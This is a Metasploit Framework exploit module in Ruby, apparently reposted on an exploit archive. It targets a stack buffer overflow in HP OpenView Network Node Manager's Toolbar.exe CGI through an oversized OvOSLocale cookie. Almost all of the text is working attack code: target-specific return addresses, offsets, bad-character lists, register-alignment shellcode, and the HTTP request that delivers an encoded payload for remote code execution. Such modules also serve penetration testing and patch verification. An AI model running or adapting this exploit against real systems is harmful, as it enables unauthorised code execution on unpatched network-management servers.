HP OpenView Network Node Manager (OV NNM) – ‘Toolbar.exe’ CGI Cookie Handling Buffer Overflow (Metasploit)
## # $Id: hp_nnm_toolbar_02.rb 13194 2011-07-16 05:21:20Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'HP OpenView Network Node Manager Toolbar.exe CGI Cookie Handling Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0 and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an attacker may be able to execute arbitrary code. Please note that this module only works against a specific build (ie. NNM 7.53_01195) }, 'License' => MSF_LICENSE, 'Version' => '$Revision: 13194 $', 'Author' => [ 'Oren Isacson', # original discovery 'juan vazquez', # metasploit module (7.0 target) 'sinn3r', # 7.53_01195 target ], 'References' => [ [ 'CVE', '2009-0920' ], [ 'OSVDB', '53242' ], [ 'BID', '34294' ], [ 'URL', 'http://www.coresecurity.com/content/openview-buffer-overflows'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => false, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x7f\x3b\x2b", 'DisableNops' => true, # no need 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EDX' } }, 'Platform' => 'win', 'Targets' => [ [ #Windows XP SP3 'HP OpenView Network Node Manager Release B.07.00', { 'Ret' => 0x5A212147, # ovsnmp.dll call esp 'Offset' => 0xFC, # until EIP # Pointer to string with length < 0x100 # Avoid crash before vulnerable function returns # And should work as a "NOP" since it will prepend shellcode #'ReadAddress' => 0x5A03A225,# ov.dll 'ReadAddress' => 0x5A03A225,# ov.dll 'EDXAdjust' => 0x17, # 0x8 => offset until "0x90" nops # 0x4 => "0x90" nops # 0x2 => len(push esp, pop edx) # 0x3 => len(sub) # 0x6 => len(add) } ], [ #Windows Server 2003 'HP OpenView Network Node Manager 7.53 Patch 01195', { 'Eax' => 0x5a456eac, #Readable address for CMP BYTE PTR DS:[EAX],0 'EaxOffset' => 251, #Offset to overwrite EAX 'Ret' => 0x5A23377C, #CALL EDI 'Max' => 8000, #Max buffer size } ] ], 'DisclosureDate' => 'Jan 21 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def exploit if target.name =~ /7\.53/ #EDX alignment for alphanumeric shellcode #payload is in EDI first. We exchange it with EDX, align EDX, and then #jump to it. align = "\x87\xfa" #xchg edi,edx align << "\x80\xc2\x27" #add dl,0x27 align << "\xff\xe2" #jmp edx #Add the alignment code to payload p = align + payload.encoded sploit = 'en_US' sploit << rand_text_alphanumeric(247) sploit << [target.ret].pack('V*') sploit << rand_text_alphanumeric(target['EaxOffset']-sploit.length+'en_US'.length) sploit << [target['Eax']].pack('V*') sploit << rand_text_alphanumeric(3200) sploit << make_nops(100 - align.length) sploit << align sploit << p sploit << rand_text_alphanumeric(target['Max']-sploit.length) elsif target.name =~ /B\.07\.00/ edx = Rex::Arch::X86::EDX sploit = "en_US" sploit << rand_text_alphanumeric(target['Offset'] - "en_US".length, payload_badchars) sploit << [target.ret].pack('V') sploit << [target['ReadAddress']].pack('V') sploit << "\x90\x90\x90\x90" # Get in EDX a pointer to the shellcode start sploit << "\x54" # push esp sploit << "\x5A" # pop edx sploit << Rex::Arch::X86.sub(-(target['EDXAdjust']), edx, payload_badchars, false, true) sploit << "\x81\xc4\x48\xf4\xff\xff" # add esp, -3000 sploit << payload.encoded end #Send the malicious request to /OvCgi/ToolBar.exe #If the buffer contains a badchar, NNM 7.53 will return a "400 Bad Request". #If the exploit causes ToolBar.exe to crash, NNM returns "error in CGI Application" send_request_raw({ 'uri' => "/OvCgi/Toolbar.exe", 'method' => "GET", 'cookie' => "OvOSLocale=" + sploit + "; OvAcceptLang=en-usa", }, 20) handler disconnect end end =begin NNM B.07.00's badchar set: 00 0D 0A 20 3B 3D 2C 2B NNM 7.53_01195's badchar set: 01 02 03 04 05 06 07 08 0a 0b 0c 0d 0e 0f 10 11 ................ 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 7f ............... 3b = delimiter 2b = gets converted to 0x2b =end |